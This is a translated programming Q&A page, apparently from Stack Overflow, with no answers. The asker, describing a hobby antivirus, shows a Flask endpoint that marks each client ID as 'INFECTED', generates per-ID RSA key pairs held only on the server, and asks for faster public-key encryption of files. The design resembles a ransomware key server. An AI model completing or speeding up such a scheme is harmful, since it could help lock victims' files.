提问人:ShadowProgrammer 提问时间:7/31/2023 更新时间:7/31/2023 访问量:104
如何在 Python 中加密大文件?
How do I encrypt large files in Python?
问:
我正在用 Python 制作防病毒软件(为了好玩),我正在尝试加密恶意文件,使其无法传播和访问。我想使用像 RSA 这样的公钥-私钥系统对其进行加密。
这是我目前使用 Flask 的代码:
@app.route('/getstatus', methods=['GET'])
def getstatus():
values = request.get_json()
id = values['id']
size = values['size']
if id in IDS:
status = IDS[id]['status']
else:
pubkey, privkey = rsa.newkeys(size)
IDS[id] = {'id': id, 'status': 'INFECTED', 'pubkey': pubkey.save_pkcs1("PEM").decode('utf-8'), 'privkey': privkey.save_pkcs1("PEM").decode('utf-8')}
status = 'INFECTED'
with open("ids.json", "w") as f:
json.dump({'ids': IDS}, f)
return jsonify({'status': status})
在将最大的文件发送为密钥大小之前,我会跟踪它(乘以 8 以允许填充) 但我的问题是,即使对于图像和文本等较小的文件,生成密钥也需要非常长的时间。有没有更快的方法可以使用公钥和私钥加密这些文件?
顶级域名; 我确保不能在客户端设置任何内容,以便病毒无法禁用防病毒软件。RSA 注册机太慢。有没有更快的公钥/私钥系统?
答: 暂无答案
评论